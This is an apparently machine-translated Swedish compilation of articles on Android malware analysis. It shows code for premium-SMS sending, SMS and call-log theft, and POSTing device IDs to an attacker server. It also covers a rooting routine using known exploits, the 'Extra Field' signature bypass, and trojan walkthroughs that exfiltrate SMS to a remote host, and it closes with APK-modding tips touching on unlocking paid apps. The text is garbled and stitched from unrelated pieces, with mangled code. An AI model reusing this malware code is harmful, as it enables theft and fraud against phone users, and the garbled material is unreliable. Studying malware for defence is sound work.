Beskrivning av skadlig programvara för Android. Öppna, modifiera och paketera Android-applikationer Parsning av skadlig programvara

Vissa antiviruslabb innehåller redan mer än 10 miljoner prover av skadlig programvara för Android i sin samling. Denna siffra väcker fantasin, men ungefär 9 miljoner 995 tusen av dem är omdöpta till kopior av de ursprungliga virusen. Men om du analyserar källkoden för de återstående flera tusen proverna av skadlig programvara kommer du att märka att de alla är kombinerade från ett litet antal unika funktionsblock (flera modifierade och kombinerade på olika sätt).

Saken är den att virustillverkare oftast utövar mycket triviala uppgifter:

  • skicka ett SMS till ett betalnummer;
  • få tag i användarens konfidentiella information ( telefonnummer, meddelandetexter, SD-kortdata, etc.);
  • samla in data om den infekterade enheten;
  • beslagta administrativa rättigheter på enheten (för att installera applikationer utan tillstånd från ägaren eller för att med uppsåt inaktivera enheten);
  • spåra inloggningar, lösenord och betalkortsdata som användaren anger på internetbanksystemens webbplatser. Hur gör dom det? Låt oss försöka komma in i den dystra världen av mobil virtualisering och se vad som händer där.

Skickar SMS

Vem använder:

  • adsms;
  • falsk spelare;
  • FlodhästarSms.

SMS-trojaner är den vanligaste typen av virus. Dessa virus skickar helt enkelt meddelanden till betalda nummer utan användarens samtycke. Det är väldigt enkelt att skapa ett sådant program eller skriva om ett färdigt till önskat nummer. Och processen att få förmåner är extremt förenklad - till skillnad från till exempel spårning av bankdata.

Följande är det enklaste exemplet koda. Detta är en elementär funktion skicka SMS. Det kan vara komplicerat genom att kontrollera sändningsstatusen, välja nummer beroende på var abonnenten befinner sig och sedan radera SMS:et.

Privat statisk SendSms (String DestNumber, String SmsText) ( // Försöker köra metoden sendTextMessage för SmsManager-objektet ( standardprogram för att skicka SMS till den aktuella enheten) med ett minsta antal parametrar: mottagarnummer och meddelandetext try( SmsManager.getDefault().sendTextMessage(DestNumber,null,SmsText,null,null); return true; ) )

Var man ska leta efter viruskoden

I de allra flesta fall infekteras telefonen genom installation av applikationer. Alla Android-applikationer finns som en apk-fil, som i själva verket är ett arkiv. Du kan se dess innehåll med använder Android SDK, APK till JAR-omvandlare och Java bytecode decompiler. En applikationssammansättning (APK) består av följande delar:

  • resources.arsc - resurstabell;
  • res (mapp) - faktiska resurser (ikoner, etc.);
  • META-INF (mapp) - innehåller filer med följande innehåll: resurskontrollsummor, applikationscertifikat och APK-sammansättningsbeskrivning;
  • AndroidManifest.xml - alla typer av tjänsteinformation. Inklusive behörigheter (tillstånd), som applikationen begär före installationen för korrekt funktion;
  • classes.dex - du måste ha hört det i Android fungerar system, all kod exekveras med hjälp av den virtuella Dalviksmaskinen (från och med version 4.4, ART-stöd visas), som inte förstår vanlig Java-bytekod. Därför finns det filer med tillägget dex. Den, tillsammans med de nödvändiga och användbara klasserna (som är ansvariga för applikationens funktionalitet), innehåller också skadliga (viruskoden som vi analyserar i den här artikeln).

Att skriva användarinformation till textfil

Vem använder:

  • Nicky Spy;
  • SmsSpy.

Det finns en kategori av virus som letar efter personliga uppgifter om användare. Deras verkningsmekanism är också enkel. De laddar antingen upp användarfiler till skaparens server eller förinsamlar lite data i txt (CSV, XML - det spelar ingen roll). Av intresse för angripare kan vara kontakter av vilken typ som helst, meddelanden från olika snabbmeddelanden, mediafiler och så vidare.

SMS från infekterade användare är särskilt värdefulla på grund av telefonnumren till avsändare och mottagare - de kan fylla på databasen för skräppostutskick. Mer sällan används virus av detta slag för att infektera specifika individers enheter - nästa gång din flickvän erbjuder dig att testa Android-applikationen som skrivits av henne (ja, karamba! - Ungefär red.) Tappa inte din vaksamhet: ).

// Räkna antalet SMS på enheten arrayOfObject = (Object)localBundle.get("pdus"); int j=arrayOfObject.length; // Slinga genom varje SMS i=1 medan (true) (​if(i>=j) bryter; // Skapa ett SMS-meddelandeobjekt SmsMessage localSmsMessage=SmsMessage.createFrompdu((byte)arrayOfObject[i]); // Lägg i strängvariabler avsändarnummer, text och tidpunkt för sändning av SMS String MessageNumber = localSmsMessage.getOriginatingAddress(); String MessageText = localSmsMessage.getDisplayMessageBody(); long l= localSmsMessage.getTimestampMillis(); Date localDate=new Date(l); MessageTimeDate = new SimpleDateFormat("åååå-MM-dd HH:mm:ss").format(localDate); // Bilda en sträng från mottagna data och skriv den till en textfil med den anpassade metoden WriteRec String MessageInfo= 7MessageNumber+" #"+ MessageText+"#" + MessageTimeDate+";" WriteRec(paramContext,"sms.txt",MessageInfo); // Gå vidare till nästa meddelande i+=1; ) Det är också bekvämt att fylla på skräppostlistan från abonnentens telefon historik. Här är koden som kan köras på ett inkommande samtal: If (parmIntent.getAction().equals("android.intent.action.NEW_OUTGOING_CALL")) ( // Sätt in abonnentnumret i en variabel String phonenumber=paramIntent.getStringExtra ("android.intent. extra.PHONE_NUMBER"); // Bilda en sträng av numret och datumet för samtalet String PhoneCallRecord= phonenumber +"#"+getSystemTime(); // Anropa WriteRec()-metoden (dess kod är visas inte här), vilket lägger till en sträng till en textfil med samtalshistorik WriteRec(paramContext,"phonecall.txt", PhoneCallRecord); )

Efter att informationen har registrerats vidarebefordras den till "rätt händer". Koden nedan laddar upp samtalshistoriken till servern:

Privat void uploadPhonecallHistory() kastar IDException ( while(true) (return; // Kontrollera om filen vi behöver finns if(!fileIsExists(/data/data/spyapp.pg/files/phonecall.txt")) fortsätter; // Skapa ett objekt - filuppladdare UploadFiles localUploadFiles=new UploadFiles(); String uploadkeynode=getKeyNode("uid","uid_v"); // Kör metoden .advanceduploadfile (dess kod visas inte här) för att ladda upp filen till virusmakerservern localUploadFiles. advanceduploadfile(uploadkeynode,"/data/data/spyapp.pg/files/phonecall.txt"); ) )

Insamling av information

Vem använder:

  • Droid Kung Fu
  • DroidDream;
  • den stora majoriteten av skadlig programvara alla liknande.

I princip är information om enheter som är infekterade av dess program användbar för alla virustillverkare. Det är väldigt lätt att få det. En array skapas med data om telefonens egenskaper (deras full lista se Android-utvecklarguiden) och skickas som en POST-förfrågan till ett PHP-skript (språket är inte kritiskt) på angriparens server, som bearbetar data och placerar den i databasen för senare användning.

Private void reportState(int paramInt, string paramString) ( // Skapa en array och lägg in tjänstinformation i den ArrayList UserInformation=new ArrayList(); UserInformation.add(new BasicNameValuePair("imei", this.mImei)); UserInformation.add (new BasicNameValuePair("uppgift", this.mTaskId)); UserInformation.add(new BasicNameValuePair("state", Integer.toString(paramInt))); // Om funktionen har parametern "paramString(comment)" definierad, lägg det i arrayen och dess if(paramStrng !=null)&&(!"".equals(paramString))) UserInformation.add(new BasicNameValuePair("comment", paramString)); // Skapa en HTTP POST-förfrågan med adressen till skriptet som samlar in data HttpPost localHttpPost = new HttpPost("http://search.virusxxxdomain.com:8511/search/rtpy.php"); try ( // Lägg till vår datamatris i begäran och kör den med standard HTTP-klienten localHttpPost. setEntity(new UrlEncodeFormEntity(UserInformation, "UTF-8"))); new DefaultHttpClient().execute(localHttpPost).getStatusLine.getStatusCode(); lämna tillbaka; ) )

Rooting

Vem använder:

  • Droid Kung Fu
  • DroidDream;
  • RootSmart.

En av de mest irriterande sakerna som kan hända med en Android-enhet är att få den rotad av ett virus. När allt kommer omkring, efter det, kan det skadliga programmet göra vad som helst med det: installera andra virus, ändra inställningar hårdvara. Denna åtgärd utförs genom att sekventiellt starta exploateringar:

Privat void RootFunc() ( ApplicationInfo localApplicationInfo =getApplicationInfo(); /*"ratc" är en kopia av den berömda Rage Against The Cage root exploateringen. Kiall - dödar alla processer som körs av den aktuella applikationen. Gjsvro - utnyttja för att förvärva udev-rättigheter ( används i Linux-system för utökat arbete med hårdvara och nätverksgränssnitt) Kopiera allt detta till rätt plats */ Utils.copyAssets(this,"ratc","/data/data"+localApplicationInfo.packageName + "/ratc"); Utils .copyAssets(this,"killall","/data/data"+localApplicationInfo.packageName + "/killall"); Utils.copyAssets(this,"gjsvro","/data/data"+localApplicationInfo.packageName + "/gjsvro "); //Och kör med kommandoraden Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/ratc"); Utils.oldrun("/system/ bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/killall"); Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packag eName + "/gjsvro"); new MyTread.start(); )

Webbplatser om skadlig programvara för mobila enheter

Kasperskiy Labs expertblogg. Den här resursen innehåller kvalitetsartiklar och detaljerade artiklar om många aspekter av datorsäkerhet, inklusive Android-virus. Det är värt att besöka den här sidan regelbundet för att hålla sig à jour med den senaste utvecklingen.

Gruppen är tillägnad ett verktyg med öppen källkod för alla typer av manipulationer med Android-applikationskod (dekompilering och modifiering av DEX/ODEX/APK-filer, etc.). Androguard innehåller också en omfattande databas med artiklar om virus. Förutom korta genomgångar av funktionalitet och skyddsmetoder finns det detaljerade analyser av skadlig kod.


Mobile Threats-sektionen på www.fortiguard.com Encyclopedia of Phone Viruses. Varje artikel är en översikt över funktionaliteten, kryddad med en betydande mängd tekniska detaljer. Utöver information om hot mot verksamheten Android-system, det finns artiklar om virus för Symbian OS, iOS och andra plattformar.


Virusskydd

Vissa användare tror att om du laddar ner applikationer uteslutande från Google Play och installera ett antivirus på din smartphone, då garanterar detta absolut säkerhet. Lura inte dig själv: meddelanden visas regelbundet på webben om förekomsten av skadlig programvara på den officiella marknaden. Och antalet nyuppkomna skadliga program mäts i hundratusentals per månad, vilket gör det svårt för dem att komma in i databaser i tid. antivirusprogram. En verklig garanti för säkerhet kan ges genom att manuellt granska koden för APK-filen innan du installerar den på telefonen. Du behöver inte vara en kodningsguru för att upptäcka skadliga utdrag. Och vår artikel kommer att hjälpa dig med detta.

Slutsats

Som vi kan se från exemplen skiljer sig mobil virtualisering inte i teknisk komplexitet. Naturligtvis är dessa exempel förenklade för att passa loggformatet - först och främst utelämnas fel- och undantagshanterare, liksom några tekniska detaljer, vars frånvaro inte kommer att hindra dig från att förstå principerna för Android skadlig programvara, men kommer att skydda dig från onödiga experiment. När allt kommer omkring stöder vi inte skapandet av virus, eller hur? 🙂

Extra Field är en sårbarhet i Google Android som gör att angripare kan ändra innehållet i installationspaketet för alla program för detta operativsystem utan att skada dess digitala signatur. Genom att använda denna sårbarhet kan virusförfattare distribuera trojaner genom att injicera en skadlig komponent i valfritt legitimt eller pålitligt program.

Dr.Web antivirus för Android kan inte eliminera denna sårbarhet, eftersom den upptäcks på nivån av själva operativsystemet, men den upptäcker och tar bort skadliga program som sprids med dess hjälp, även när de försöker tränga in och köra på den skyddade enhet.

Tekniska detaljer

Distribution av operativsystemapplikationer Googles system Android distribueras som .APK-filer, som är ett ZIP-arkiv som innehåller alla komponenter som behövs för att applikationen ska fungera. Under installationen av programmet extraheras de från arkivet och deras kontrollsummor kontrolleras mot en speciell lista. Varje applikation har sin egen digitala signatur.

Utnyttja en sårbarhet Extra fält, kan angripare ändra strukturen för APK-arkivet: när man lägger till värdet av en av de ursprungliga programkomponenterna (i synnerhet filen classes.dex) till dess servicefält utan de tre första byten, samtidigt som man placerar en modifierad version av denna fil i dess ställe, den senare uppfattas av operativsystemet som legitim och tillåts installeras. Även om det potentiella utnyttjandet av denna sårbarhet begränsas av storleken på dex-filen, som inte bör vara större än 65 533 byte, kan cyberbrottslingar som är intresserade av attacken enkelt utnyttja den, baserat på ett ofarligt program eller spel som har en komponent av lämpligt storlek.

Classes.dex-filen innehåller den kompilerade applikationskoden inuti APK-filen. APK-huvudet innehåller ett utrymme som innehåller namnet på filen med filtillägget .dex, samt ett fält som kallas extra fält som innehåller innehållet i själva filen classes.dex och en lista över klasser som används av programmet. Om rubrikfältet förkortas med tre byte ändras värdet på längden på motsvarande fält, vilket gör att angripare kan inkludera den ursprungliga classes.dex i det extra fältet, samt en skadlig kopia av denna fil, varav en del kommer att även placeras i extrafältet. Det modifierade fältet kan innehålla skadligt skapade klasser som har skadlig funktionalitet. När en applikation är installerad läser operativsystemet innehållet givet fält, som ett resultat av vilket classes.dex-filen som modifierats av angriparna installeras på den attackerade enheten.

Du har tappat källan till ditt program och du måste återställa koden. Du har laddat ner ett program med virus och vill veta vad det gör.

Program för Android distribueras i arkiv. Dessa arkiv har tillägget ".apk". Sådana filer är inte krypterade och är i huvudsak "zip"-filer. Du kan byta namn på apk-filen till zip för att verifiera detta.

Du måste gräva i APK-filen och få lite data. Du kan träna på katter. Låt oss ta vårt "Hello Kitty"-program, hitta dess apk-fil i projektmappen app\build\outputs\apk och flytta den till en separat mapp för experiment.

Efter att ha packat upp arkivet kan du se programmets struktur och stöta på bekanta filer. Och till och med extrahera några filer för visning. Till exempel i mappen res/drawable-hdpi-v4 jag hittade min bild pinkhellokitty.png. Det verkar som att detta är lycka. Men fortsätt att glädjas. Om det inte finns några problem med bilder är det svårt att läsa XML-filen. Vissa rader är synliga för dig, men i allmänhet är texten helt oläslig. Så låt oss gå åt andra hållet först.

Eftersom Android-användarapplikationer körs på en Java-maskin, ärver APK-filer alla egenskaper hos JAR-filer.

Innehållet i arkivet ser vanligtvis ut ungefär så här:

META-INF-katalogen innehåller:

CERT.RSA - ansökningscertifikat
CERT.SF - kontrollsummor av resursfiler (bilder, ljud, etc.)
MANIFEST.MF - tjänstinformation som beskriver själva apk-filen

Parsar skadlig programvara

Som ett exempel, ta programmet misstänkt.apk, som upptäcks av olika antivirus som ett skadligt program.

För att bättre förstå exakt vad du ska leta efter måste du analysera filen "AndroidManifest.xml" - se vilka behörigheter den analyserade applikationen kräver. Den här filen binär, inte vanlig text xml. För att kunna läsa den måste du använda konsolverktyget "aapt" från satsen Android SDK. Den finns i katalogen "plattformsverktyg". Eftersom det inte finns något grafiskt gränssnitt måste kommandot anges i konsolen. Till exempel för Windows:

C:\android-sdk-windows\platform-tools\aapt.exe l -a C:\incoming\suspicious.apk

Naturligtvis måste du ersätta dina egna vägar. På Linux kommer kommandot att vara detsamma med uppenbara skillnader (det kommer inte att finnas några enhetsbokstäver och inget "exe"-tillägg för verktyget). För mer bekvämlighet kan utdata omdirigeras till en fil:

C:\android-sdk-windows\platform-tools\aapt.exe l -a C:\incoming\suspicious.apk>>C:\incoming\manifest.txt

I filen måste du hitta avsnittet "Android-manifest" och leta efter uppräkningen av behörigheter. I den analyserade filen ser det ut så här:

"android.permission.READ_PHONE_STATE" (Raw: "android.permission.READ_PHONE_STATE") "android.permission.INTERNET" (Raw: "android.permission.INTERNET") "android.permission." (Raw: "android.permission.RECEIVE_SMS")

Från denna information blir det tydligt att programmet kan ta emot telefonens tillstånd (detta inkluderar till exempel "telefon i samtalsläge", "telefon i datamottagningsläge"). Denna behörighet behövs också för att få telefonnumret som programmet körs på, arbeta med nätverket och övervaka ankomsten av SMS. Dessa aspekter bör vara i fokus för vidare analys.

För att få tillgång till koden måste du utföra två steg - konvertera apk-filen till en jar-fil och dekompilera den resulterande bytekoden till en mer läsbar form.

Låt oss använda "dex2jar"-omvandlaren:

C:\dex2jar\dex2jar.bat C:\incoming\suspicious.apk

Den konverterade filen kommer att finnas i samma katalog som originalfilen. ".dex2jar.jar" kommer att läggas till i dess namn, dvs detta exempel det kommer att vara "suspekt.apk.dex2jar.jar".

Denna fil kan öppnas av en dekompilator. Pakethierarkin i dekompileringsfönstret ser ut så här:


Detta slutför de förberedande stegen - ytterligare framgång beror bara på dina kunskaper om Java och förmågan att använda sökmotorn.

Lyckligtvis är den instans som valts för exemplet ganska blygsam i storlek - den slutliga burken är bara 7,01 KB.

Det finns sex klasser i programmet. Vi utesluter de som inte är av intresse. Detta är en R-klass som endast listar ID:n för alla resurser. Det är också möjligt att utesluta klassen från hänsyn config A som innehåller byggkonfigurationen.

Låt oss ta en närmare titt på de återstående tre klasserna.

aktivering

Den här klassen utlöses av en händelse onCreate(), det vill säga direkt efter att applikationen startar.

TelephonyManager localTelephonyManager = (TelephonyManager)getSystemService("telefon");- skapar localTelephonyManager En som innehåller enhetsinformation.

str1 = localTelephonyManager.getDeviceId();- väljer enhetens identifieringsnummer från den mottagna datan och placerar den i strängen str1

Därefter kommer cykeln som delar sig Enhets-ID i bitar med fyra siffror, infoga ett bindestreck "-" mellan dem, det vill säga från XXXXXXXXXXXXXXXX får du XXXX-XXXX-XXXX-XXXX. Den resulterande strängen av siffror och bindestreck skickas till textvy med ID 2131034112.

Smsmottagare

Denna klass utlöses när ett SMS-meddelande kommer, en händelse onReceive().

Klassens uppgift är att övervaka inkommande SMS och, om det upptäcks, köra klassen MainService, skickar det en pekare till det nya inkommande meddelandet.

MainService

Den här klassen är ganska stor, så jag kommer inte att lista den i sin helhet. Direkt efter samtalet startar den underklassen SmsBlockerThread, som blockerar aviseringen av ett inkommande SMS så att användaren inte aviseras om ett nytt inkommande SMS.

Sedan behandlas det inkommande SMS:et så här:

String str1 = localSmsMessage.getOriginatingAddress();- mottagarens telefonnummer (det vill säga telefonnumret som trojanen är installerad på) placeras i variabeln str1.

String str2 = localSmsMessage.getMessageBody();- meddelandetexten placeras i str2 variabel

Därefter skapas kopplade par localBasicNameValuePair1 Och localBasicNameValuePair2 i vilka värden är placerade

F0=<номер телефона>b0=<текст сообщения>

Dessa par lagras i arrayen localArrayList, till vilken paret senare läggs till localBasicNameValuePair3, vilket är id=

Samtidigt, som du kan se, Enhets-ID erhålls på nytt, och det som tagits emot i klassen används inte aktivering. Slutar med att anropa metoden postRequest() från förra klassen Serversession:

Försök ( JSONObject localJSONObject = ServerSession.postRequest(new UrlEncodeFormEntity(localArrayList)); return; )

Samma array av par skickas som en parameter, där telefonnummer, SMS-innehåll och enhets-ID.

Serversession

Denna klass har två metoder: initUrl(), som returnerar länkdelen "(http://softthrifty.com/security.jsp)":

Public static String initUrl() ( returnera "http://softthrifty.com/security.jsp"; )

och stor metod postRequest(), som kallades från klassen MainService. Trots storleken, uppgiften postRequest()är enkelt - skicka till servern med hjälp av länken som returneras av metoden initUrl(), data genom att lägga till par från arrayen som samlats in MainService. Det vill säga, följ bara länken:

(http://softthrifty.com/security.jsp?f0=<номер телефона>&b0=<текст сообщения>&id= )

Resultat

Så den här trojanen fångar upp SMS och skickar en förfrågan till servern, där den överför numret på den infekterade telefonen, innehållet i SMS:et och den infekterade telefonens ID. Detta beteende kan vara ett tecken på att en banktrojan attackerar tvåfaktorsautentisering. För en framgångsrik attack måste följande villkor vara uppfyllda:

1) angriparen måste infektera offrets dator för att fånga upp data för internetbanker;
2) angriparen måste infektera offrets telefon för att avlyssna SMS med en bekräftelsekod från banken;
3) angriparen måste på något sätt länka samman användaren av den infekterade datorn och den infekterade telefonen för att veta vilka nätbanksuppgifter denna bekräftelsekod kommer ifrån;

På grund av dess storlek och uppenbara aktiviteter är ett sådant prov väl lämpat för att demonstrera de grundläggande teknikerna för att analysera skadlig programvara för Android.

Beskrivning av skadlig programvara mjukvaruverktyg för Android

Alexander Antipov

McAfees hotpotentiella statusrapport under det första kvartalet i år indikerade att det fanns 6 miljoner unika prover på skadlig programvara.


McAfees hotpotentiella statusrapport under det första kvartalet i år indikerade att det fanns 6 miljoner unika prover på skadlig programvara. I denna mening visade sig det första kvartalet 2011 vara det mest produktiva när det gäller antalet upptäckta skadliga program jämfört med samma perioder under alla tidigare år. McAfee-rapporten noterade att Android-enheter i allt högre grad blir bärare av skadlig programvara. Enligt experter blev Android under det första kvartalet i år det näst mest populära mobilmålet för intrång bland förbrytare efter Symbian.

I den här artikeln kommer vi att ta dig igenom de olika stegen i programvaruanalys, och därigenom låter dig förstå exakt vilka sårbarheter som finns i Android-plattformen och hur angripare använder dem. Först och främst kommer vi att börja med att diskutera Android-utvecklingens historia, och sedan går vi vidare till grunderna för hur plattformskonfigurationspaket fungerar. Samtidigt kommer vi att analysera i detalj all skadlig programvara som vi stöter på specifikt för Android.

Introduktion till Android-plattformen

Android är operativ system för mobiltelefoner, kommunikatörer, surfplattor och andra enheter baserade på Linux-kärnan. Utvecklare skriver applikationer för Android huvudsakligen på Java-språket, och tillhandahåller enhetskontroll med hjälp av Java-biblioteket som utvecklats av Google. Android Java-kompilatorn kompilerar en uppsättning utvecklarfiler till klassfiler och sedan konverteras klassfilerna till dex-filer. Dessa filer har en bytekod som används speciellt för igenkänning virtuell maskin Dalvik är en Java Application (JVM) bytecode-exekveringsmiljö som körs på en dedikerad Android-applikation. XML-filer konverteras till ett binärt format som är optimerat för att skapa små filer. .dex-filerna, XML-binärfilerna och andra resurser som behövs för att köra applikationer är paketerade i en Android-paketfil. Dessa filer har filtillägget .apk men är vanliga ZIP-filer. När apk-paketet har genererats signeras det digitalt av utvecklaren och laddas upp till Android marknad via Googles webbplats, där användaren kan ladda ner dessa apk-filer och installera dem på sin Android-enhet. Det finns för närvarande över 2 miljoner appar tillgängliga för nedladdning i Android Apps Central Store, och förutom det, glöm inte att Google Android-appar kan laddas ner från andra tredjepartswebbplatser också.

Krav

  • Verktyg för att dekomprimera apk-filer - Winzip
  • Verktyg för att konvertera .dex-filer till .jar-filer: ..Dex2jar
  • Grafiskt verktyg för att dekompilera Java: JD-GUI
  • Android malware-prover för analys

Detaljerade steg

Steg I:
För att påbörja analysen av skadlig programvara måste du först ladda ner ett prov på skadlig programvara som riktar sig till Android-plattformen. I det här fallet kommer vi att ladda ner iCalendar.apk, som har blivit en av de 11 misstänkta apparna som tagits bort från Android Market eftersom den visade sig innehålla skadlig programvara i Gadget Media. Att kontrollera begäran på VirusTotal visade en upptäcktsgrad på 46,5 %, som visas i figuren nedan.


Ris. ett

Steg II:

Extrahera iCalendar.apk-filen med Winzip, sedan kan du se innehållet i .apk-filen

Ris. 2. .dex och. XML-filerna som diskuterades tidigare i den här artikeln visas i fig. 2.

Steg III:

Nästa steg är att köra koden med verktyget "dex2jar". Verktygssatsen dex2jar konverterar Dalviks körbara .dex-filer till Java .class-filer. "Classes.dex" - filen från vår applikation går till katalogen "dex2jar" och konverteras med följande kommando: dex2jar.bat classes.dex.

Ris. 3 Skapa "classes.dex.dex2jar.jar"-filer i en katalog.

Ris. 4

Steg IV:

Vi använde JD-GUI för att visa .class-filer. Öppna filen "Classes.dex.dex2jar.jar" med JD-GUI.

Ris. 5: Fullständig källkod för Android-applikationer visas.

Steg V:
Efter mottagande källkod applikation kan du analysera den faktiska källan och leta efter problem. Det har noterats att filen med klassnamnet "SmsReceiver.class" ser lite konstigt ut, eftersom det är en applikationskalender och SmsReceiver krävs inte i detta fall. Vid ytterligare inspektion av källkoden för "SmsReceiver.class" visade det sig att den innehöll tre nummer 1066185829, 1066133 och 106601412004, vilket såg ganska misstänkt ut. I synnerhet liknar situationen ett försök att blockera meddelanden som skickas från de angivna numren till Android-enhet, när den här applikationen installerades och kördes.

Ris. 6

Efter att ha sökt på dessa nummer via Google fann man att det är numren till SMS-tjänsten som ägs av China Mobile (Fig. 7).

Ris. 7

Vi försökte analysera varför appen försöker blockera leveransrapporter från ovan nämnda nummer i uppföljningar.

Steg VI:
Efter att ha avslutat analysen av filen "SmsReceiver.class" fortsätter vi till analysen av koden för nästa .class-fil, dvs. "iCalendar.class". Den första ser mest misstänksam ut. I synnerhet märkte vi att en viss sendSms()-funktion fanns i showImg()-funktionen.

Ris. 8

Så vi initierade en filkontroll "sendSms ()" för att se särdragen i exekveringen av kommandon. Som visas i figuren nedan kan vi se att när funktionen sendSms() är aktiverad skickas ett SMS med texten 921X1 automatiskt till numret 1066185829.

Ris. nio

Steg VII:
I slutet av funktionen sendSms() märkte vi närvaron av ett kommando för spara funktion. Därför letade vi efter save()-funktionen inuti koden och hittade dess direkta samband med sendSms()-funktionen.

Ris. 10

Efter att ha gjort den korrekta analysen och tagit reda på olika aspekter av hur save()-funktionen fungerar, fann man att strängen "Y" korsas varje gång save()-funktionen körs. Dessutom drogs slutsatsen att sendSms()-funktionen bara kan anropas en gång, men inte mer, eftersom det finns en "if"-loop set för sendSms()-funktionen.

Steg VIII:
Genom att kombinera resultaten av alla genomförda analyser kan man få en tydlig bild av hur olika typer av skadlig programvara fungerar till fullo.

Applikationen skickar ett SMS till premiumnumret 1066185829 med texten 921X1. Parallellt blockeras alla inkommande meddelandeleveransrapporter till detta nummer, och som ett resultat kommer offret inte att få någon signal om förekomsten av ett sådant SMS som skickas av applikationen till bakgrund. Dessutom skickas SMS bara en gång, och offret kan faktiskt inte misstänka på något sätt vad som faktiskt orsakade debiteringen av pengar från kontot.

Ris. 11: Fullständiga resultat av iCalendar.apk Cycle Malware

Slutsats:

Ett skadligt program med root-åtkomst till telefonen har inte bara förmågan att läsa all data som lagras på den, utan kan också överföra den till absolut vilken plats som helst. Denna information kan inkludera Kontaktinformation, dokument och till och med kontolösenord. På ha rot access, är det möjligt att installera andra komponenter som inte är tillgängliga för visning i användargränssnitt telefon, så de kan inte lätt tas bort. De huvudsakliga sätten att skydda applikationer från skadlig programvara för Android-plattformen är följande:
  • Ladda bara ned appen från pålitliga källor;
  • Kontrollera relevanta betyg och recensioner innan du laddar ner applikationen;
  • Att noggrant bedöma tillstånden för specifika applikationer;
  • OS installation Android-uppdateringar, eftersom de är redo;
  • Installera program för att skydda mobila applikationer.

Dokumentet ger ett exempel på skador som orsakats av skadlig programvara programvara intet ont anande användare. Om en person inte är medveten om dess existens, blir sådana program tillgängliga för att utföra nästan alla obehöriga åtgärder i bakgrunden. Driften av skadlig programvara kan leda till ekonomiska förluster för användaren genom att skriva av pengar från hans saldon, samt stjäla lösenord. Dessutom kan de orsaka skador på själva telefonen. Som du kan se är det mycket viktigt att vidta lämpliga försiktighetsåtgärder i tid för att förhindra att den här typen av applikationer kommer in i din telefon. Det är bättre att vara säker en gång än att ångra det tio gånger senare.

Ibland passar vissa applikationer på Android inte användaren av någon anledning. Ett exempel är irriterande annonser. Och det blir så – alla är bra på programmet, men bara översättningen i det är antingen snett, eller helt frånvarande. Eller, till exempel, är programmet prov, och få full version det finns ingen möjlighet. Hur ändrar man situationen?

Introduktion

I den här artikeln kommer vi att prata om hur man demonterar en APK med en applikation, tittar på dess interna struktur, demonterar och dekompilerar bytekoden och försöker också göra flera ändringar i applikationer som kan ge oss den eller den fördelen.

För att göra allt detta på egen hand behöver du åtminstone en grundläggande kunskap om Java-språket, som Android-applikationer skrivs i, och XML-språket, som används överallt i Android - från att beskriva själva applikationen och dess åtkomsträttigheter till lagra strängar som kommer att visas på skärmen. Du behöver också förmågan att hantera specialiserad konsolmjukvara.

Så, vad är APK-paketet där absolut all programvara för Android distribueras?

Applikationsdekompilering

I artikeln arbetade vi bara med demonterad applikationskod, men om du gör mer seriösa ändringar i stora applikationer blir det mycket svårare att förstå smali-koden. Lyckligtvis kan vi dekompilera dex-koden till Java-kod, som, även om den inte är original och inte kan kompileras tillbaka, är mycket lättare att läsa och förstå applikationens logik. För att göra detta behöver vi två verktyg:

  • dex2jar - översättare av Dalvik bytecode till JVM bytecode, baserat på vilken vi kan få Java-kod;
  • jd-gui är en dekompilator i sig som låter dig få läsbar Java-kod från JVM bytecode. Alternativt kan du använda Jad (www.varanecas.com/jad); även om den är ganska gammal, genererar den i vissa fall mer läsbar kod än Jd-gui.

De ska användas så här. Först startar vi dex2jar och anger sökvägen till apk-paketet som ett argument:

%dex2jar.sh mail.apk

Som ett resultat kommer Java-paketet mail.jar att visas i den aktuella katalogen, som redan kan öppnas i jd-gui för att se Java-koden.

Ordna APK-paket och få dem

Paket android appar, i själva verket är en vanlig ZIP-fil, för visning av innehållet och uppackning som inga specialverktyg krävs. Det räcker med en arkivering - 7zip för Windows eller konsoluppackning i Linux. Men det handlar om omslaget. Vad finns inuti? Inuti har vi i allmänhet följande struktur:

  • META-INF/- innehåller ett digitalt certifikat för applikationen, som intygar dess skapare och kontrollsummor för paketfilerna;
  • res/ - olika resurser som applikationen använder i sitt arbete, såsom bilder, en deklarativ beskrivning av gränssnittet och annan data;
  • AndroidManifest.xml- beskrivning av ansökan. Detta inkluderar till exempel en lista över nödvändiga behörigheter android version och nödvändig skärmupplösning;
  • classes.dex- kompilerad applikationsbytekod för den virtuella Dalviksmaskinen;
  • resources.arsc- även resurser, men av ett annat slag - i synnerhet strängar (ja, den här filen kan användas för russifiering!).

De listade filerna och katalogerna finns, om inte alla, så kanske i de allra flesta APK-filer. Det finns dock några mindre vanliga filer/kataloger värda att nämna:

  • tillgångar- Analog av resurser. Den största skillnaden är att för att komma åt en resurs måste du känna till dess identifierare, medan listan över tillgångar kan erhållas dynamiskt med metoden AssetManager.list() i applikationskoden;
  • lib- inbyggda Linux-bibliotek skrivna med hjälp av NDK (Native Development Kit).

Den här katalogen används av speltillverkare för att placera sin spelmotor skriven i C/C++ där, såväl som av skapare av högpresterande applikationer (till exempel, Google Chrome). Förstod enheten. Men hur får man paketfilen för intresseansökan? Eftersom det inte är möjligt att hämta APK-filer från enheten utan att rota (de finns i katalogen / data / app), och att roota inte alltid är tillrådligt, finns det minst tre sätt att få applikationsfilen till din dator:

  • APK Downloader-tillägg för Chrome;
  • Real APK Leecher app;
  • olika fil värd och warezniki.

Vilken man ska använda är en smaksak; vi föredrar att använda separata applikationer, så vi kommer att beskriva användningen av Real APK Leecher, särskilt eftersom det är skrivet i Java och följaktligen kommer det att fungera även i Windows, även i nix.

Efter att ha startat programmet måste du fylla i tre fält: E-post, Lösenord och Enhets-ID - och välja ett språk. De två första är e-postadressen och lösenordet för ditt Google-konto som du använder på enheten. Det tredje är enhets-ID, och du kan få det genom att slå koden på uppringaren # #8255## och sedan hitta raden Device ID. När du fyller i behöver du endast ange ID utan android-prefix.

Efter att ha fyllt i och sparat dyker ofta meddelandet "Fel vid anslutning till servern" upp. Det har inget med Google Play att göra, så ignorera det gärna och leta efter paket som intresserar dig.

Granskning och modifiering

